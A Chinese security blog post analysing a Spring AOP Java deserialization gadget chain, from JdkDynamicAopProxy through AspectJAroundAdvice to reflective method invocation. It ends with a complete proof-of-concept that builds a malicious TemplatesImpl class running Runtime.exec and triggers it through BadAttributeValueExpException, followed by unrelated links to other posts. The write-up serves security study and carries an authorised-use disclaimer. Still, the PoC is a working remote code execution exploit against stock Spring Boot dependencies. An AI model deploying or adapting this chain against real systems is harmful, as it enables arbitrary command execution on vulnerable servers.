JavaSec | SpringAOP 链学习分析

目录:

链子分析

  反向分析

  正向分析

poc 构造

总结

链子分析

反向分析

依赖于 Spring-AOP 和 aspectjweaver 两个包,在我们 springboot 中的 spring-boot-starter-aop 自带包含这俩类,所以也可以说是 spring boot 的原生反序化链了,调用链如下,

复制代码
Gadget
JdkDynamicAopProxy.invoke()->
    ReflectiveMethodInvocation.proceed()->
        JdkDynamicAopProxy.invoke()->
            AspectJAroundAdvice.invoke->
            org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()->
                method.invoke()

这里调用两次 JdkDynamicAopProxy.invoke()是因为后面包了两层 JdkDynamicAopProxy 代理。

看似链子很简单其实里面大有学问,先看链子最后 org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()

方法,会调用到 invokeAdviceMethodWithGivenArgs 方法,在这个方法中存在反射调用

aspectJAdviceMethod 变量可以控制,让其为目标方法,this.aspectInstanceFactory.getAspectInstance() 看师傅们选的是 SingletonAspectInstanceFactory 这个 factory 类,同样可以控制返回值,至于方法参数 actualArgs 我也难得看了,这里先不管,无参方法的话就选择 newTransformer() 吧,

接着继续看链子可以知道在 AspectJAroundAdvice#invoke 调用了 org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod() 方法,因为 AspectJAroundAdvice 是子类,其没有invokeAdviceMethod()方法所以会调用到父类AbstractAspectJAdvice的该方法,

这里简单提一下双亲委派机制,上面不是说了父类实列化才能控制几个变量吗,但是其实看后面分析,我们需要传入的对象其实也就是AspectJAroundAdvice对象,而我们实列化AspectJAroundAdvice对象传入的变量其实同样会影响到父类,调用到父类invokeAdviceMethod()方法时,如果父类的变量为null就会去子类寻找

参数什么的就不用管了,然后继续顺着链子向上看,来到 ReflectiveMethodInvocation.proceed() 方法,

需要让这里的 interceptorOrInterceptionAdvice 变量为 AspectJAroundAdvice 类,朔源一下interceptorsAndDynamicMethodMatchers变量,在构造函数进行了赋值,(不过不能直接实列化)

最后来到JdkDynamicAopProxy.invoke()方法,看到在else分支调用了我们的 ReflectiveMethodInvocation.proceed() 方法,而且巧妙的是ReflectiveMethodInvocation类没有继承serializable接口,不能被反序列化的,但是这里直接就进行实列化

正向分析

我们需要控制的也就是 chain 参数,其就是上面的interceptorOrInterceptionAdvice 变量,我们要让其为AspectJAroundAdvice 类,而且chain也只有不为空才能来到else分支,

复制代码
List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);

跟进 getInterceptorsAndDynamicInterceptionAdvice(method, targetClass) 方法,最后返回的是cached变量,有两处进行了赋值,

这里就是在 map 缓存中寻找,但是简单查看就知道 methodCache 是 transient 修饰的,不能进行序列化所以一定为 null,

复制代码
List<Object> cached = (List)this.methodCache.get(cacheKey);

只能考虑下面这段代码了,

复制代码
cached = this.advisorChainFactory.getInterceptorsAndDynamicInterceptionAdvice(this, method, targetClass);

继续跟进 getInterceptorsAndDynamicInterceptionAdvice方法,实现了这个方法的只有DefaultAdvisorChainFactory类。

看到最后返回的是interceptorList变量,看到只有在for循环中才会对interceptorList赋值,而要进行for循环就需要config.getAdvisors();不为空列表,看到 config 就是上面传入的this也就是AdvisedSupport对象,我们需要AdvisedSupport.getAdvisors()不为空列表,这个很好控制,

那么我们控制的AdvisedSupport对象是怎么传进去的呢,我分析发现这是从jack稳定开始JdkDynamicAopProxy构造函数的参数就用的这个对象,因为JdkDynamicAopProxy对象中那个参数advised就是AdvisedSupport

复制代码
public List<Object> getInterceptorsAndDynamicInterceptionAdvice(Advised config, Method method, @Nullable Class<?> targetClass) {  
    AdvisorAdapterRegistryregistry= GlobalAdvisorAdapterRegistry.getInstance();  
    Advisor[] advisors = config.getAdvisors();  
    List<Object> interceptorList = newArrayList(advisors.length);  
    Class<?> actualClass = targetClass != null ? targetClass : method.getDeclaringClass();  
    BooleanhasIntroductions=null;  
    Advisor[] var9 = advisors;  
    intvar10= advisors.length;  

    for(intvar11=0; var11 < var10; ++var11) {  
        Advisoradvisor= var9[var11];  
        if (advisor instanceof PointcutAdvisor) {  
            PointcutAdvisorpointcutAdvisor= (PointcutAdvisor)advisor;  
            if (config.isPreFiltered() || pointcutAdvisor.getPointcut().getClassFilter().matches(actualClass)) {  
                MethodMatchermm= pointcutAdvisor.getPointcut().getMethodMatcher();  
                boolean match;  
                if (mm instanceof IntroductionAwareMethodMatcher) {  
                    if (hasIntroductions == null) {  
                        hasIntroductions = hasMatchingIntroductions(advisors, actualClass);  
                    }  

                    match = ((IntroductionAwareMethodMatcher)mm).matches(method, actualClass, hasIntroductions);  
                } else {  
                    match = mm.matches(method, actualClass);  
                }  

                if (match) {  
                    MethodInterceptor[] interceptors = registry.getInterceptors(advisor);  
                    if (mm.isRuntime()) {  
                        MethodInterceptor[] var17 = interceptors;  
                        intvar18= interceptors.length;  

                        for(intvar19=0; var19 < var18; ++var19) {  
                            MethodInterceptorinterceptor= var17[var19];  
                            interceptorList.add(newInterceptorAndDynamicMethodMatcher(interceptor, mm));  
                        }  
                    } else {  
                        interceptorList.addAll(Arrays.asList(interceptors));  
                    }  
                }  
            }  
        } elseif (advisor instanceof IntroductionAdvisor) {  
            IntroductionAdvisoria= (IntroductionAdvisor)advisor;  
            if (config.isPreFiltered() || ia.getClassFilter().matches(actualClass)) {  
                Interceptor[] interceptors = registry.getInterceptors(advisor);  
                interceptorList.addAll(Arrays.asList(interceptors));  
            }  
        } else {  
            Interceptor[] interceptors = registry.getInterceptors(advisor);  
            interceptorList.addAll(Arrays.asList(interceptors));  
        }  
    }  

    return interceptorList;  
}

然后进入循环后就是看到interceptors的赋值了

复制代码
 Interceptor[] interceptors = registry.getInterceptors(advisor);  

registry就是DefaultAdvisorAdapterRegistry对象,跟进看到advice如果继承了MethodInterceptor类就会被添加进interceptors中,

而这个advice变量需要时Advice类型然后还需要实现MethodInterceptor接口,我们需要让这个advice为我们的目标类也就是 AspectJAroundAdvice ,但是这个目标类只实现了MethodInterceptor接口,

这就不得不提师傅们的顶级思路了,通过再套层JdkDynamicAopProxy代理让我们的AspectJAroundAdvice类实现MethodInterceptor接口并且为advice类型,然后最后得到的advice就是个proxy,

然后一直返回到 chain,

跟进就来到上面反向分析的ReflectiveMethodInvocation.proceed()方法,在这里看到我们的interceptorOrInterceptionAdvice为代理类,

触发JdkDynamicAopProxy#invoke,反射调用目标类的 invoke 方法,

最后回到上面的反向分析的调用链,最后进行命令执行


poc 构造

经过上面分析,链子构造就层层赋值就可以了,这里参考一下:https://gsbp0.github.io/post/springaop/ 进行构造 poc,

通过 tostring 进行触发代理类,当然其实什么方法可以。

复制代码
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtConstructor;  
import org.aopalliance.aop.Advice;  
import org.aopalliance.intercept.MethodInterceptor;  
import org.springframework.aop.aspectj.AbstractAspectJAdvice;  
import org.springframework.aop.aspectj.AspectJAroundAdvice;  
import org.springframework.aop.aspectj.AspectJExpressionPointcut;  
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;  
import org.springframework.aop.framework.AdvisedSupport;  
import org.springframework.aop.support.DefaultIntroductionAdvisor;  
import org.springframework.core.Ordered;  

import java.io.*;  
import java.lang.reflect.*;  
import java.util.PriorityQueue;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  

import javax.management.BadAttributeValueExpException;  
import javax.xml.transform.Templates;  

publicclasstest {  
    publicstaticvoidmain(String[] args)throws Exception {  

        ClassPoolpool= ClassPool.getDefault();  
        CtClassclazz= pool.makeClass("a");  
        CtClasssuperClass= pool.get(AbstractTranslet.class.getName());  
        clazz.setSuperclass(superClass);  
        CtConstructorconstructor=newCtConstructor(newCtClass[]{}, clazz);  
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");  
        clazz.addConstructor(constructor);  
        byte[][] bytes = newbyte[][]{clazz.toBytecode()};  
        TemplatesImpltemplates= TemplatesImpl.class.newInstance();  
        setValue(templates, "_bytecodes", bytes);  
        setValue(templates, "_name", "test");  
        setValue(templates, "_tfactory", null);  
        Method method=templates.getClass().getMethod("newTransformer");//获取newTransformer方法  
        SingletonAspectInstanceFactoryfactory=newSingletonAspectInstanceFactory(templates);  
        AspectJAroundAdviceadvice=newAspectJAroundAdvice(method,newAspectJExpressionPointcut(),factory);  
        Proxyproxy1= (Proxy) getAProxy(advice,Advice.class);  
        BadAttributeValueExpExceptionbadAttributeValueExpException=newBadAttributeValueExpException(123);  
        setValue(badAttributeValueExpException, "val", proxy1);  
        serilize(badAttributeValueExpException);  
        deserilize("ser.bin");  

    }  
    publicstatic Object getBProxy(Object obj,Class[] clazzs)throws Exception  
    {  
        AdvisedSupportadvisedSupport=newAdvisedSupport();  
        advisedSupport.setTarget(obj);  
        Constructorconstructor= Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);  
        constructor.setAccessible(true);  
        InvocationHandlerhandler= (InvocationHandler) constructor.newInstance(advisedSupport);  
        Objectproxy= Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), clazzs, handler);  
        return proxy;  
    }  
    publicstatic Object getAProxy(Object obj,Class<?> clazz)throws Exception  
    {  
        AdvisedSupportadvisedSupport=newAdvisedSupport();  
        advisedSupport.setTarget(obj);  
        AbstractAspectJAdviceadvice= (AbstractAspectJAdvice) obj;  

        DefaultIntroductionAdvisoradvisor=newDefaultIntroductionAdvisor((Advice) getBProxy(advice, newClass[]{MethodInterceptor.class, Advice.class}));  
        advisedSupport.addAdvisor(advisor);  
        Constructorconstructor= Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);  
        constructor.setAccessible(true);  
        InvocationHandlerhandler= (InvocationHandler) constructor.newInstance(advisedSupport);  
        Objectproxy= Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), newClass[]{clazz}, handler);  
        return proxy;  
    }  
    publicstaticvoidserilize(Object obj)throws IOException {  
        ObjectOutputStream out=newObjectOutputStream(newFileOutputStream("ser.bin"));  
        out.writeObject(obj);  
    }  
    publicstatic Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=newObjectInputStream(newFileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  

    publicstaticvoidsetValue(Object obj,String fieldName,Object value)throws Exception {  
        Fieldfield= obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  

}

总结

这里的JdkDynamicAopProxy代理类实现MethodInterceptor接口又是Advice类型只是一层,另一层是后续把这个代理类当作目标类进行处理调用 invoke 方法然后触发handler#invoke方法,再次反射调用AspectJAroundAdvice#invoke方法形成利用。

参考:https://gsbp0.github.io/post/springaop/

参考:https://mp.weixin.qq.com/s/oQ1mFohc332v8U1yA7RaMQ

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关

相关推荐
程序员小崔日记3 小时前
20块钱注册一年 .COM 域名!Spaceship 最新优惠教程,支付宝即可付款(附优惠码)
服务器·腾讯云·域名
IKUN家族4 小时前
Spring MVC(一)
java·spring·mvc
实心儿儿4 小时前
Linux —— 进程间关系和守护进程
linux·运维·服务器
FII工业富联科技服务4 小时前
工业设备运维如何Agentic化?拆解Factory Brain的设备运维架构
大数据·运维·人工智能·架构·制造
林浅不想努力5 小时前
LVS知识点总结
服务器·云原生·lvs
老马识途2.05 小时前
关于跨域问题的总结
java·前端
魔力女仆5 小时前
分享一个 JS 鼠标跟随贪吃蛇背景库
开发语言·javascript·计算机外设
Dawn-bit5 小时前
Linux磁盘管理详解
linux·运维·服务器·计算机网络·云计算
都叫我大帅哥6 小时前
Java日期时间三十年战争:从Date考古到LocalDateTime革命,以及数据库与前端的那点事儿
java
Muscleheng6 小时前
SpringBoot 集成 DeepSeek 实现 RAG 文档问答
java·spring boot·ai·springai